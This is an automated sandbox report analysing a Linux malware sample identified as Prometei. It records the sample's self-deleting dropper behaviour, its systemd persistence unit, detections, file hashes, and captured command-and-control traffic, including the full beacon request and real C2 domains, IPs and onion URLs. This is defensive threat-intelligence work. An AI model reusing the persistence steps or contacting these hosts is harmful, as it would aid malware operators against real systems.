Source: /usr/bin/dash (PID: 6497)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.5CKcT7Q7ZV /tmp/tmp.HRC1kQVot4 /tmp/tmp.EXaWMqkFF1			Jump to behavior

Source: /bin/sh (PID: 6264)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 6280)	Systemctl executable: /usr/bin/systemctl -> systemctl enable uplugplay.service	Jump to behavior
Source: /bin/sh (PID: 6285)	Systemctl executable: /usr/bin/systemctl -> systemctl start uplugplay.service	Jump to behavior

Source: /usr/sbin/uplugplay (PID: 6291)	Reads from proc file: /proc/stat	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6291)	Reads from proc file: /proc/cpuinfo	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6291)	Reads from proc file: /proc/meminfo	Jump to behavior

Source: /tmp/na.elf (PID: 6231)

File: /usr/sbin/uplugplay (bits: -v usr: x grp: x all: r)

Jump to behavior

Source: /tmp/na.elf (PID: 6231)

File written: /usr/sbin/uplugplay

Jump to dropped file

Source: submitted sample

Stderr: Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.: exit code = 0

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/na.elf (PID: 6231)

File: /usr/sbin/uplugplay

Jump to dropped file

Sample deletes itself

Source: /tmp/na.elf (PID: 6231)

File: /tmp/na.elf

Jump to behavior

Source: na.elf	Submission file: segment LOAD with 7.6054 entropy (max. 8.0)
Source: na.elf	Submission file: segment LOAD with 7.943 entropy (max. 8.0)
Source: uplugplay.12.dr	Dropped file: segment LOAD with 7.6054 entropy (max. 8.0)
Source: uplugplay.12.dr	Dropped file: segment LOAD with 7.943 entropy (max. 8.0)

Source: /usr/sbin/uplugplay (PID: 6291)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Source: /usr/bin/pgrep (PID: 6235)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 6255)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6291)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 6441)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Source: /tmp/na.elf (PID: 6231)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6288)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6291)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uname (PID: 6445)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 6297)	Queries kernel information via 'uname':	Jump to behavior

Source: /bin/sh (PID: 6445)

Uname executable: /usr/bin/uname -> uname -a

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	4 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Proxy	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
na.elf	37%	Virustotal		Browse
na.elf	47%	ReversingLabs	Linux.Trojan.Generic
na.elf	100%	Avira	LINUX/GM.Agent.JQ

Dropped Files

Source	Detection	Scanner	Label	Link
/usr/sbin/uplugplay	100%	Avira	LINUX/GM.Agent.JQ
/usr/sbin/uplugplay	47%	ReversingLabs	Linux.Trojan.Generic

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://xincgcfda.org/cgi-bin/p.cgi?r=0&auth=hash&i=N0341ZAX8D721YJ2&enckey=cSrKJBJF4wU7KtFtuDXft/wvD1kqq1-zDzwUAJiilbl2kqZnlRx8LXUKcJbX/287bPpYB1M8rmMTPbHWL73bIFj0cMr9O4FcDGhB/0mHu8P2Uj11tbNRHnfwJmLkdOuR219OaYe3LQNasR08EweVNmc2rMt4qx5Ma2sNQy2iKq8_	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
xincgcfda.org	85.214.228.140	true	false	high
xinchaocgcfda.com	unknown	unknown	false	high
xinchaocgcfda.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://xincgcfda.org/cgi-bin/p.cgi?r=0&auth=hash&i=N0341ZAX8D721YJ2&enckey=cSrKJBJF4wU7KtFtuDXft/wvD1kqq1-zDzwUAJiilbl2kqZnlRx8LXUKcJbX/287bPpYB1M8rmMTPbHWL73bIFj0cMr9O4FcDGhB/0mHu8P2Uj11tbNRHnfwJmLkdOuR219OaYe3LQNasR08EweVNmc2rMt4qx5Ma2sNQy2iKq8_	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni	na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://upx.sf.net	na.elf, uplugplay.12.dr	false	high
http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi	na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi	na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://152.36.128.18/cgi-bin/p.cgi	na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://dummy.zero/cgi-bin/prometei.cgi	na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://152.36.128	na.elf, uplugplay.12.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
85.214.228.140	xincgcfda.org	Germany	6724	STRATOSTRATOAGDE	false
152.36.128.18	unknown	United States	81	NCRENUS	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	GoldAge3ATOarm5.elf	Get hash	malicious	Unknown	Browse
	GoldAge3ATOarm.elf	Get hash	malicious	Unknown	Browse
	GoldAge3ATOarm7.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	GoldAge3ATOarm6.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
85.214.228.140	1 (325).exe	Get hash	malicious	Unknown	Browse	aafibwgqhfb.info/
	Ziraat_Bankasi_Swift-Messaji_Notifications.exe	Get hash	malicious	PureLog Stealer, RedLine, XWorm	Browse	dlynankz.biz/asw
	Request for Quotation 2170032137 PDF.exe	Get hash	malicious	FormBook	Browse	dlynankz.biz/cwlwsc
	Swift_Message_Notification_MTC-U27635728_03-2025.exe	Get hash	malicious	PureLog Stealer, RedLine, XWorm	Browse	dlynankz.biz/cfidxwjxxl
	CV_Sales Representative - Job Request PDF.exe	Get hash	malicious	FormBook	Browse	dlynankz.biz/dielwuec
	Supply Tender documents PDF.exe	Get hash	malicious	FormBook	Browse	dlynankz.biz/nkw
	DHL Original Shipment Document PDF.exe	Get hash	malicious	FormBook	Browse	dlynankz.biz/okmfwvwiisx
	MUH030425.exe	Get hash	malicious	Azorult	Browse	dlynankz.biz/rgpseg
	redline stealer.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	dlynankz.biz/blyebryociterum
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Azorult	Browse	dlynankz.biz/lejhhlqrs
152.36.128.18	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=5&i=37T4IJ6W481WNK24
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=19&i=WZLOGWG7C6XKU4AC
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=19&i=B19Y1O6U1UQ0Q8UK
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=17&i=8V7Z7C29KLO25BV3
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=16&i=6NMM5995J92126D6
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=0&i=GKRG6LZ0BJ1GR43C
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=27&i=Q6696XSK657837I0
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=27&i=R46B98J342X07863
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=20&i=RDHDZU659FLOV8LK
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=28&i=QS9CSX1E79IJ37YE

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
xincgcfda.org	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
STRATOSTRATOAGDE	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
INIT7CH	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	GoldAge3ATOspc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	GoldAge3ATOarm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	GoldAge3ATOarm.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	GoldAge3ATOm68k.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
AMAZON-02US	SeraphicSecurity_3ce70be9df6fdb942f72600d8492175bc8bcdc5b94520facce66549f8f7e1a47.msi	Get hash	malicious	Unknown	Browse	54.154.75.195
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	adani quotation request.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	GoldAge3ATOspc.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:ed356bc9-bf5a-442b-8177-cf362f34cfc8	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	13.249.91.72
	SeraphicSecurity_3ce70be9df6fdb942f72600d8492175bc8bcdc5b94520facce66549f8f7e1a47.msi	Get hash	malicious	Unknown	Browse	52.19.170.97
	GoldAge3ATOarm5.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
NCRENUS	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18

Process:	/usr/sbin/uplugplay
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:UbEFX:UoFX
MD5:	339C1203080646C875F8681D776732BA
SHA1:	9331AC69CCC5385BD683186AFBD1292C2D63E463
SHA-256:	50D50071E1BBD1785FEFBD7C3C96309F3A64C880AFEE2F908C273C6B8A578980
SHA-512:	36F41E7D67DBFB48B67B7B2D2418E5846F80F59C4EE444170C35D189B0494A1A1D99CBF953C2C3DBB9D35CEA3F0FED07A4042D6ADE4F3D93D37B32A2E0C260F6
Malicious:	true
Reputation:	low
Preview:	N0341ZAX8D721YJ2

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	high, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/usr/lib/systemd/system/uplugplay.service

Download File

Process:	/tmp/na.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.769509838572339
Encrypted:	false
SSDEEP:	3:zMZa75X1PxQJqtWA1+DRvBADMikAdIgQ+aQmNJX4ev+sirSkQmWA1+DRvn:z8uXcqtWA4RZAMD+aBNdhTILQmWA4Rv
MD5:	8CA62D1F47880BCE036C2956C9B7B272
SHA1:	3BCC3A5C4FCC5B0D08C4524A59F6B8E113B62060
SHA-256:	C655D3D4E374FAD38313EC4262207B2D7D68A870238F203EF3C33F85E66C8E32
SHA-512:	4CD2D9D67151FA25E833707DEE2442C4A5F752053FC2C36EC73C0E2B734C66CA69C63FCEB47714D9ADD5B9FE2EEE1E45BE5199E2CAE7C26173E766B333877DA6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[Unit].Description=UPlugPlay.After=multi-user.target..[Service].Type=forking.ExecStart=/usr/sbin/uplugplay..[Install].WantedBy=multi-user.target.

/usr/sbin/uplugplay

Download File

Process:	/tmp/na.elf
File Type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Category:	dropped
Size (bytes):	435932
Entropy (8bit):	7.9428066939564514
Encrypted:	false
SSDEEP:	6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgX:25WOSACZSV6eKRH5EPiamb4DsDwwcn
MD5:	0B9029C55FCD681EFA62A48B706B3BB6
SHA1:	83C0F642625229F5F98C00789C601E509794AFCF
SHA-256:	1EE283EF8885DBFDEFBD285B931CD9185BAB41E7B4A5CEE1304489D34C4451DF
SHA-512:	EF161D75509A954A146FCF52165273723C76EC0B26F21166C4C5949701FF0CFF517836A11F385409BBF5DC6647E797366843AC762492E81E7BCCF7896CC06C1D
Malicious:	true
Yara Hits:	Rule: Linux_Trojan_Dofloo_ac3333d1, Description: unknown, Source: /usr/sbin/uplugplay, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	low
Preview:	.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v..p............. ..ELF......>....@.......0..'8..........W.3c..-.......o..K>...@!v..{_bo./.O7.%....o.....l..-.R..XOH....6..o..p..@... ....om.r2...D_..n.D...O...M(.S.td...POQn..PpnG.oRO!..=.0...%I.$...@.P.............y......GNU....'..l......?D....N...k.n..m"c...i......._....R.%..y...#N./ $../..p.E....v!#...._..r....K....../0.\|.....p.L.........H...._...#/v..._P.C2.b.`....y!.K...x!...@p.2.".oh...`......X.B.C;P_.L/H....@...N..8?.0O.C;.`(...q.\. ..O.$ar .@%I.!v...}...I&.n.......H...H...H..t..."...9.....?..%.....D................................}....ume....]U....ME=....5-%...................&..E.t$..T$.<{....%.....H.\|$...~.9.g...Sd2.OH.. ......kn(...$. 1.H9..+..t>d....4..u......~2..w..H.. mU.H.=d...o...V..`...V..=[._w.Ru6..O

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Entropy (8bit):	7.9428066939564514
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	na.elf
File size:	435'932 bytes
MD5:	0b9029c55fcd681efa62a48b706b3bb6
SHA1:	83c0f642625229f5f98c00789c601e509794afcf
SHA256:	1ee283ef8885dbfdefbd285b931cd9185bab41e7b4a5cee1304489d34c4451df
SHA512:	ef161d75509a954a146fcf52165273723c76ec0b26f21166c4c5949701ff0cff517836a11f385409bbf5dc6647e797366843ac762492e81e7bccf7896cc06c1d
SSDEEP:	6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgX:25WOSACZSV6eKRH5EPiamb4DsDwwcn
TLSH:	CA9423F8C87D2E3098169B3CBB1A826CF0A15772D9562F6AB51AE5732179F1FAC60101
File Content Preview:	.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v.

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x15de360
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	0
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x400000	0x400000	0x1000	0x1174858	7.6054	0x6	RW	0x1000
LOAD	0x0	0x1575000	0x1575000	0x69e4d	0x69e4d	7.9430	0x5	R E	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x10

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-26T13:36:31.583843+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.23	35804	85.214.228.140	80	TCP

Network Port Distribution

Total Packets: 24
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2025 13:34:15.061441898 CET	42836	443	192.168.2.23	91.189.91.43
Mar 26, 2025 13:34:16.085431099 CET	42516	80	192.168.2.23	109.202.202.202
Mar 26, 2025 13:34:29.159776926 CET	58308	80	192.168.2.23	152.36.128.18
Mar 26, 2025 13:34:29.297089100 CET	80	58308	152.36.128.18	192.168.2.23
Mar 26, 2025 13:34:30.675288916 CET	43928	443	192.168.2.23	91.189.91.42
Mar 26, 2025 13:34:31.219039917 CET	39248	443	192.168.2.23	34.249.145.219
Mar 26, 2025 13:34:31.219093084 CET	443	39248	34.249.145.219	192.168.2.23
Mar 26, 2025 13:34:31.219264984 CET	39248	443	192.168.2.23	34.249.145.219
Mar 26, 2025 13:34:31.219495058 CET	39248	443	192.168.2.23	34.249.145.219
Mar 26, 2025 13:34:31.219536066 CET	443	39248	34.249.145.219	192.168.2.23
Mar 26, 2025 13:34:40.913953066 CET	42836	443	192.168.2.23	91.189.91.43
Mar 26, 2025 13:34:47.057285070 CET	42516	80	192.168.2.23	109.202.202.202
Mar 26, 2025 13:35:11.629776001 CET	43928	443	192.168.2.23	91.189.91.42
Mar 26, 2025 13:35:31.211374998 CET	39248	443	192.168.2.23	34.249.145.219
Mar 26, 2025 13:35:31.256272078 CET	443	39248	34.249.145.219	192.168.2.23
Mar 26, 2025 13:35:32.106873035 CET	42836	443	192.168.2.23	91.189.91.43
Mar 26, 2025 13:36:31.220534086 CET	35804	80	192.168.2.23	85.214.228.140
Mar 26, 2025 13:36:31.406653881 CET	80	35804	85.214.228.140	192.168.2.23
Mar 26, 2025 13:36:31.406991005 CET	35804	80	192.168.2.23	85.214.228.140
Mar 26, 2025 13:36:31.408401012 CET	35804	80	192.168.2.23	85.214.228.140
Mar 26, 2025 13:36:31.583327055 CET	80	35804	85.214.228.140	192.168.2.23
Mar 26, 2025 13:36:31.583739042 CET	80	35804	85.214.228.140	192.168.2.23
Mar 26, 2025 13:36:31.583758116 CET	80	35804	85.214.228.140	192.168.2.23
Mar 26, 2025 13:36:31.583842993 CET	35804	80	192.168.2.23	85.214.228.140
Mar 26, 2025 13:36:31.584443092 CET	35804	80	192.168.2.23	85.214.228.140
Mar 26, 2025 13:36:31.587063074 CET	51736	80	192.168.2.23	172.16.3.2
Mar 26, 2025 13:36:31.761295080 CET	80	35804	85.214.228.140	192.168.2.23
Mar 26, 2025 13:36:32.610574007 CET	51736	80	192.168.2.23	172.16.3.2
Mar 26, 2025 13:36:34.626390934 CET	51736	80	192.168.2.23	172.16.3.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2025 13:36:30.729276896 CET	56406	53	192.168.2.23	8.8.8.8
Mar 26, 2025 13:36:30.829953909 CET	53	56406	8.8.8.8	192.168.2.23
Mar 26, 2025 13:36:30.831321001 CET	42997	53	192.168.2.23	8.8.8.8
Mar 26, 2025 13:36:30.931747913 CET	53	42997	8.8.8.8	192.168.2.23
Mar 26, 2025 13:36:30.933136940 CET	50887	53	192.168.2.23	8.8.8.8
Mar 26, 2025 13:36:31.120507002 CET	53	50887	8.8.8.8	192.168.2.23
Mar 26, 2025 13:36:31.122896910 CET	55027	53	192.168.2.23	8.8.8.8
Mar 26, 2025 13:36:31.219377041 CET	53	55027	8.8.8.8	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 26, 2025 13:36:30.729276896 CET	192.168.2.23	8.8.8.8	0x1893	Standard query (0)	xinchaocgcfda.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 13:36:30.831321001 CET	192.168.2.23	8.8.8.8	0x1893	Standard query (0)	xinchaocgcfda.net	A (IP address)	IN (0x0001)	false
Mar 26, 2025 13:36:30.933136940 CET	192.168.2.23	8.8.8.8	0x1893	Standard query (0)	xincgcfda.org	A (IP address)	IN (0x0001)	false
Mar 26, 2025 13:36:31.122896910 CET	192.168.2.23	8.8.8.8	0x1893	Standard query (0)	xincgcfda.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 26, 2025 13:36:30.829953909 CET	8.8.8.8	192.168.2.23	0x1893	Name error (3)	xinchaocgcfda.com	none	none	A (IP address)	IN (0x0001)	false
Mar 26, 2025 13:36:30.931747913 CET	8.8.8.8	192.168.2.23	0x1893	Name error (3)	xinchaocgcfda.net	none	none	A (IP address)	IN (0x0001)	false
Mar 26, 2025 13:36:31.120507002 CET	8.8.8.8	192.168.2.23	0x1893	No error (0)	xincgcfda.org		85.214.228.140	A (IP address)	IN (0x0001)	false
Mar 26, 2025 13:36:31.219377041 CET	8.8.8.8	192.168.2.23	0x1893	No error (0)	xincgcfda.org		85.214.228.140	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

xincgcfda.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	35804	85.214.228.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 26, 2025 13:36:31.408401012 CET	277	OUT	GET /cgi-bin/p.cgi?r=0&auth=hash&i=N0341ZAX8D721YJ2&enckey=cSrKJBJF4wU7KtFtuDXft/wvD1kqq1-zDzwUAJiilbl2kqZnlRx8LXUKcJbX/287bPpYB1M8rmMTPbHWL73bIFj0cMr9O4FcDGhB/0mHu8P2Uj11tbNRHnfwJmLkdOuR219OaYe3LQNasR08EweVNmc2rMt4qx5Ma2sNQy2iKq8_ HTTP/1.0 Host: xincgcfda.org
Mar 26, 2025 13:36:31.583739042 CET	188	IN	HTTP/1.0 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 26 Mar 2025 12:36:31 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

System Behavior

Analysis Process: na.elf PID: 6231, Parent PID: 6155

General

Start time (UTC):	12:34:11
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	/tmp/na.elf
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:11
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:11
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep na.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:12
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:12
Start date (UTC):	26/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep na.elf
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Start time (UTC):	12:34:13
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:13
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "pidof na.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:13
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:13
Start date (UTC):	26/03/2025
Path:	/usr/bin/pidof
Arguments:	pidof na.elf
File size:	27016 bytes
